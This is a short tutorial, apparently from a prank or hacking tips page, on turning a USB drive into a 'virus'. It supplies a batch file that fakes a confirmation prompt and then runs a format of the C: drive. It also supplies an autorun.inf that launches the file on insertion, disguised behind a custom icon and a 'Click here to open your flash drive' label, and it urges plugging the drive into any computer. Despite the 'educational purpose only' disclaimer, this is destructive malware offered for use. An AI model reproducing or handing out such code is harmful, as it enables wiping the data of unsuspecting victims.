Step 1: Format your USB.
Step 2: Open notepad in your Laptop/PC copy and paste the code written below.
@echo off
title Delete C:\
cls
echo Are you sure you want to Format your Files? (y/n)
pause > nul
echo deleting files hold on...
Format C:
Save this as love.bat to the root of your USB.
Step 3: Open once again notepad copy and paste the code written below!
[autorun]
icon=(Your desired icon).ico
open=love.bat
action= Click here to open your flash drive.
shell\open\command=love.bat
Save it as "autorun.inf"
Step 4: All set! Use you USB as virus. Plug your USB to any compute & auto run file.
Note: This is for educational purpose only!